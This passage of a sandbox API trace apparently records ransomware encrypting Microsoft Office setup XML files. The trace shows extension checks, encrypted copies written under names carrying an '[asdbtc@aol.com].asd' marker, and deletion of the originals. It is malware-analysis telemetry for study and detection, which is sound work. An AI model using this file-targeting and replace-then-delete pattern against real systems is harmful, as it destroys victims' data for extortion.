returned 1 [0048.551] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xee, lpOverlapped=0x0) returned 1 [0048.551] SetEndOfFile (hFile=0x1ec) returned 1 [0048.551] CloseHandle (hObject=0x1ec) returned 1 [0048.552] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.552] SetEndOfFile (hFile=0x1e8) returned 1 [0048.553] CloseHandle (hObject=0x1e8) returned 1 [0048.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.554] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.554] lstrlenW (lpString=".doc") returned 4 [0048.554] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.554] lstrlenW (lpString=".docx") returned 5 [0048.554] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.554] lstrlenW (lpString=".pdf") returned 4 [0048.554] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.554] lstrlenW (lpString=".xls") returned 4 [0048.554] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.554] lstrlenW (lpString=".xlsx") returned 5 [0048.554] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.554] lstrlenW (lpString=".ppt") returned 4 [0048.554] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.554] lstrlenW (lpString=".zip") returned 4 [0048.554] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.554] lstrlenW (lpString=".rar") returned 4 [0048.554] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.554] lstrlenW (lpString=".bz2") returned 4 [0048.554] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.554] lstrlenW (lpString=".7z") returned 3 [0048.554] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.554] lstrlenW (lpString=".dbf") returned 4 [0048.555] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.796] lstrlenW (lpString=".1cd") returned 4 [0048.796] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.796] lstrlenW (lpString=".jpg") returned 4 [0048.796] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.796] lstrlenW (lpString=".doc") returned 4 [0048.796] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0048.796] lstrlenW (lpString=".docx") returned 5 [0048.796] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0048.796] lstrlenW (lpString=".pdf") returned 4 [0048.796] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0048.796] lstrlenW (lpString=".xls") returned 4 [0048.796] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0048.797] lstrlenW (lpString=".xlsx") returned 5 [0048.797] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0048.797] lstrlenW (lpString=".ppt") returned 4 [0048.797] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0048.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.797] lstrlenW (lpString=".zip") returned 4 [0048.797] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0048.797] lstrlenW (lpString=".rar") returned 4 [0048.797] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0048.797] lstrlenW (lpString=".bz2") returned 4 [0048.797] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0048.797] lstrlenW (lpString=".7z") returned 3 [0048.797] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0048.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.797] lstrlenW (lpString=".dbf") returned 4 [0048.797] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0048.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.797] lstrlenW (lpString=".1cd") returned 4 [0048.797] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0048.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0048.797] lstrlenW (lpString=".jpg") returned 4 [0048.797] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0048.797] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.797] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0048.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.798] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1231) returned 1 [0048.798] CloseHandle (hObject=0x1e8) returned 1 [0048.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0048.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.798] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.798] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0049.226] GetLastError () returned 0x0 [0049.226] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0049.228] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0049.229] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.229] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0049.230] SetEndOfFile (hFile=0x1bc) returned 1 [0049.230] CloseHandle (hObject=0x1bc) returned 1 [0049.231] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.231] SetEndOfFile (hFile=0x1e8) returned 1 [0049.232] CloseHandle (hObject=0x1e8) returned 1 [0049.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0049.232] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0049.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.233] lstrlenW (lpString=".doc") returned 4 [0049.233] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.233] lstrlenW (lpString=".docx") returned 5 [0049.233] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.233] lstrlenW (lpString=".pdf") returned 4 [0049.233] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.233] lstrlenW (lpString=".xls") returned 4 [0049.233] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.233] lstrlenW (lpString=".xlsx") returned 5 [0049.233] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.233] lstrlenW (lpString=".ppt") returned 4 [0049.233] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.233] lstrlenW (lpString=".zip") returned 4 [0049.233] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.233] lstrlenW (lpString=".rar") returned 4 [0049.233] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.233] lstrlenW (lpString=".bz2") returned 4 [0049.233] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString=".7z") returned 3 [0049.234] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.234] lstrlenW (lpString=".dbf") returned 4 [0049.234] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.234] lstrlenW (lpString=".1cd") returned 4 [0049.234] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.234] lstrlenW (lpString=".jpg") returned 4 [0049.234] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.234] lstrlenW (lpString=".doc") returned 4 [0049.234] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString=".docx") returned 5 [0049.234] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.234] lstrlenW (lpString=".pdf") returned 4 [0049.234] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString=".xls") returned 4 [0049.234] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString=".xlsx") returned 5 [0049.234] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.234] lstrlenW (lpString=".ppt") returned 4 [0049.234] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.235] lstrlenW (lpString=".zip") returned 4 [0049.235] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.235] lstrlenW (lpString=".rar") returned 4 [0049.235] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.235] lstrlenW (lpString=".bz2") returned 4 [0049.235] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.235] lstrlenW (lpString=".7z") returned 3 [0049.235] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.235] lstrlenW (lpString=".dbf") returned 4 [0049.235] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.235] lstrlenW (lpString=".1cd") returned 4 [0049.235] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0049.235] lstrlenW (lpString=".jpg") returned 4 [0049.235] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.235] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0049.235] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0049.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.260] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=819) returned 1 [0050.260] CloseHandle (hObject=0x208) returned 1 [0050.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0050.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.261] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.261] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.261] GetLastError () returned 0x0 [0050.261] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x333, lpOverlapped=0x0) returned 1 [0050.454] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x340, lpOverlapped=0x0) returned 1 [0050.456] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.456] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0050.456] SetEndOfFile (hFile=0x20c) returned 1 [0050.456] CloseHandle (hObject=0x20c) returned 1 [0050.458] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.458] SetEndOfFile (hFile=0x208) returned 1 [0050.459] CloseHandle (hObject=0x208) returned 1 [0050.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.463] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0050.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.463] lstrlenW (lpString=".doc") returned 4 [0050.463] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.463] lstrlenW (lpString=".docx") returned 5 [0050.463] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0050.463] lstrlenW (lpString=".pdf") returned 4 [0050.463] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.463] lstrlenW (lpString=".xls") returned 4 [0050.463] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.463] lstrlenW (lpString=".xlsx") returned 5 [0050.463] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0050.463] lstrlenW (lpString=".ppt") returned 4 [0050.464] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.464] lstrlenW (lpString=".zip") returned 4 [0050.464] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.464] lstrlenW (lpString=".rar") returned 4 [0050.464] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString=".bz2") returned 4 [0050.464] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString=".7z") returned 3 [0050.464] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.464] lstrlenW (lpString=".dbf") returned 4 [0050.464] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.464] lstrlenW (lpString=".1cd") returned 4 [0050.464] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.464] lstrlenW (lpString=".jpg") returned 4 [0050.464] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.464] lstrlenW (lpString=".doc") returned 4 [0050.464] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.464] lstrlenW (lpString=".docx") returned 5 [0050.464] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0050.464] lstrlenW (lpString=".pdf") returned 4 [0050.465] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString=".xls") returned 4 [0050.465] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString=".xlsx") returned 5 [0050.465] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0050.465] lstrlenW (lpString=".ppt") returned 4 [0050.465] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.465] lstrlenW (lpString=".zip") returned 4 [0050.465] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.465] lstrlenW (lpString=".rar") returned 4 [0050.465] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString=".bz2") returned 4 [0050.465] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString=".7z") returned 3 [0050.465] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.465] lstrlenW (lpString=".dbf") returned 4 [0050.465] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.465] lstrlenW (lpString=".1cd") returned 4 [0050.465] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0050.465] lstrlenW (lpString=".jpg") returned 4 [0050.465] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.466] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.466] lstrlenW (lpString="SETUP.XML") returned 9 [0050.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.711] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1886) returned 1 [0050.718] CloseHandle (hObject=0x20c) returned 1 [0050.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0050.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.720] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, 